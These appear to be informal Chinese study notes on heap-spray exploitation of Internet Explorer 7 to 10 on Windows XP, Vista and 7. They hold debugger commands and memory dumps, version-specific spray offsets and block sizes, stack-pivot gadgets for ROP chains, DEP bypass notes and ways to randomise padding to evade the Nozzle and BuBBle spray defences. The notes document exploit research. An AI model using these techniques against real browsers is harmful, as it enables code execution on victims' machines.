0c0c0c4c cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
0c0c0c5c cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
XP SP3 上浏览网页 保存 即可得到POC
!heap -stat 得到 堆基址
!heap -stat -h 0xXXXXXXX 得到 重复次数最多的块的 大小size
!heap -flt s size 得到 我们喷射的块 或者 使用 s -a 0xc0c0000 L10000 "AAAABBBBCCCCDDDD"
得到我们喷射的块地址
找到 离 0x0c0c0c0c 最近的 一个块
我的XP SP3 是 0x0c0c0018 (往前找) 0x0c0c0018 is HEAP_ENTRY we need UserPtr ,because HEAP_ENTRY + 8 = UserPtr
so that 0x0c0c0c0c - (0x0c0c0018+8) = BEC and / 2 = 0x5F6 so that this is that offset
set offset_length = 0x5F6 (IE8 ) (IE 9 - Vista SP2 / Windows 7 SP1 是0x5FE )(win7 ie8 0x5F4)重新来看到下面
0:029> d 0c0c0c0c
0c0c0c0c 41 41 41 41 42 42 42 42-43 43 43 43 44 44 44 44 AAAABBBBCCCCDDDD
0c0c0c1c 45 45 45 45 46 46 46 46-47 47 47 47 48 48 48 48 EEEEFFFFGGGGHHHH
0c0c0c2c cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
0c0c0c3c cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
0c0c0c4c cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
得到一个指针 / 虚指针的控制,大部分发生在 UAF 类型的漏洞中,可以在一个给定的地址伪造 一个虚指针。
这个伪造的虚指针表中的一些指针包含特定的值,这样就不能直接引用之前的 heap spray
需要一些代码段 gadget 例如
xchg esp,eax ret 或者 mov esp,eax ret msvcr71.dll 可以加载0c0c0c0c 到eax, 然后eax 和ESP 互换
如果没有额外空间在你控制的栈里面,但是有一个寄存器指向你的heap spray 地址,你可以简单的直接ROP指向他,然后覆盖EIP-ret
XP3 IE7 block = shellcode.substring(2, 0x10000 - 0x21);
XP3 IE8 block = shellcode.substring(2, 0x40000 - 0x21);
vista sp2 IE7 block = shellcode.substring(0, (0x40000 - 6)/2);
vista sp2 IE8 block = shellcode.substring(0, (0x40000 - 6)/2);
win7 IE8 block = shellcode.substring(2, (0x80000 - 6)/2);
唯一需要搞清楚 PADDING 的偏移大小,根据大小 生成整个喷射结构
位图喷射法在IE8 上也可运行,虽然可能需要在图片里面添加一些随机化数据=使得喷射更加稳定可靠
每一张图片对应一个单独的堆喷射块。 这样我们就可以按照逻辑把数据填充到图片中(就是我们之前说的0x1000的ROP/SHELLCODE/PADDING),同时注意,地址0x0c0c0c0c 要指向ROP链开始处
Nozzle & BuBBle 两种堆喷射防御机制。 被部署在浏览器中,他们尝试 检测堆喷射,并阻止他们
Nozzle 微软发布,试图检测能被转化成有效汇编代码的字段,如果它发现了重复的,可以被转变成有效汇编代码(EG: NOP),这样的内存申请将被阻止
BuBBle 如果JS尝试申请有相同内容的重复的块,并且内容包含这些字段,BuBBle 就会阻止这样的内存申请,被应用于Firefox中
这些技术能成功的阻止多数基于NOP+SHELLCODE的堆喷射。
微软的免费软件,允许启用多种保护机制,将减少漏洞可以被用来接管系统的可能性,
heao soray 将分配一定的“流行”的内存区域,不会有很大的意义
预先在特定的内存地点申请内存(EMET也这样),并注入特定的shellcode,让进程退出
尝试删除内存的NOP+string块
检测专用内存使用,并允许设置一个给定的脚本允许分配的最大内存量
是一个DLL文件,可以让任意程序用 LoadDLLViaAppInit调用,或者在导入表中添加 heapliocker.dll就行
注意到IE8中用到的方法 对于IE9不再有效了。没有任何喷射的痕迹
IE9使用了 Nozzle 或者 Bubble 或者类型的防御措施。检测NOPS,或者包含重复内容的内存申请,并阻止它们
为了克服这个问题,修改了heaplib 在metasplot 模块的形式出现
变化时随机的分分配块的很大一部分,确保每块中都有不同的填充(内容上,而不是大小),似乎很好的打败了保护
在精确地喷射中,填充在开始的和结束的0x800 字节的块只是垃圾
如果我们使用随机字节,并确保每个分配和前一个是不同的,应该能够逃过 Nozzle 或者 Bubble
需要精确喷射是因为 DEP的存在(VISTA 和以上版本)
IE9中的堆喷射事实上并不是 oleaut32分配的,仍然使用了 heaplib 开申请块
当然,库中任何 heaplib 都完全可以不需要
注意在一个单独的喷射块是 0x800 (*2=0x1000)bytges
开始到0x0c0c0c0c 大小大约 0x600 bytes ,意味着你有足够的大约 0xa00bytes 大小的空间来填充ROP和其他代码
如果大小不够,可以改变块大小,或者取一个较低的地址
shellcode rop 放在ROP区域前面的PADDING或者JUNK区域
由于我们使用重复的0x800字节在一个堆块中,ROP链可能被一些块跟随,从而我们又可以发现shellcode 在填充后ROP链,你只需置放/执行向前跳
| shellcode junk rop chain forward jump | junk ..... shellcode junk
| 0x1000 !------------|--------------------!
| | |
0x0c0c0c0c
需要ROP前的内存可执行
利用 heapspray_ie9.rb
WIN7 多少位无关 主要关心位 下喷射~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
查看 申请大于3ffff 大小的内存块的信息
.logclose
bc *
bp kernel32!VirtualAllocEx "r $t0=esp+0x0c;.if (poi(@$t0) > 0x3ffff) {.echo;.echo VirtualAllocEx();.printf \"lpAddress : 0x%x\", poi(@esp+0x8);.echo;.printf \"dwSize : 0x%x\",poi(@esp+0xc);.echo;.printf \"flAllocationType : 0x%x\",poi(@esp+0x10);.echo;.printf \"flProtect : 0x%x\",poi(@esp+0x14);.echo};g"
bp kernel32!VirtualAllocEx+0x51 ".printf \"VirtualAllocEx() - allocated at 0x%x\", eax;.echo;ln poi(@esp);.echo;g"
.logopen virtualalloc.log
g
0:019> d 0c0c0c0c
0c0c0c0c 41 41 41 41 42 42 42 42-43 43 43 43 44 44 44 44 AAAABBBBCCCCDDDD
0c0c0c1c 45 45 45 45 46 46 46 46-47 47 47 47 48 48 48 48 EEEEFFFFGGGGHHHH
0c0c0c2c cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
0c0c0c3c cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
0c0c0c4c cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
0c0c0c5c cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
0c0c0c6c cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
0c0c0c7c cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
使用 heaplibtest2 修改一下
junk_offset 和 var block = single_sprayblock.substring(0, (0x80000-6)/2); 块大小
遇到的最大问题 居然是我莫名其妙的把IE8 合并为一个进程 造成了不能heapspray精确
我意外发现 这样反而保护了IE浏览器
s -a 0xc0c0000 L100000 "AAAABBBBCCCCDDDD"
!error 0xXXXXXX 可以查询 错误码
0:030> d 0c0c0c0c
0c0c0c0c 41 41 41 41 42 42 42 42-43 43 43 43 44 44 44 44 AAAABBBBCCCCDDDD
0c0c0c1c 45 45 45 45 46 46 46 46-47 47 47 47 48 48 48 48 EEEEFFFFGGGGHHHH
0c0c0c2c cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
0c0c0c3c cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
0c0c0c4c cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
0c0c0c5c cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
IE10 保护
MS开发了新的ROP阻止方案,使得DEP BYPASS更加复杂
一些API 将会被检测,如果这些API的参数都在栈上,当变换ESP到堆里面时,这些API都不能被调用,于系统相关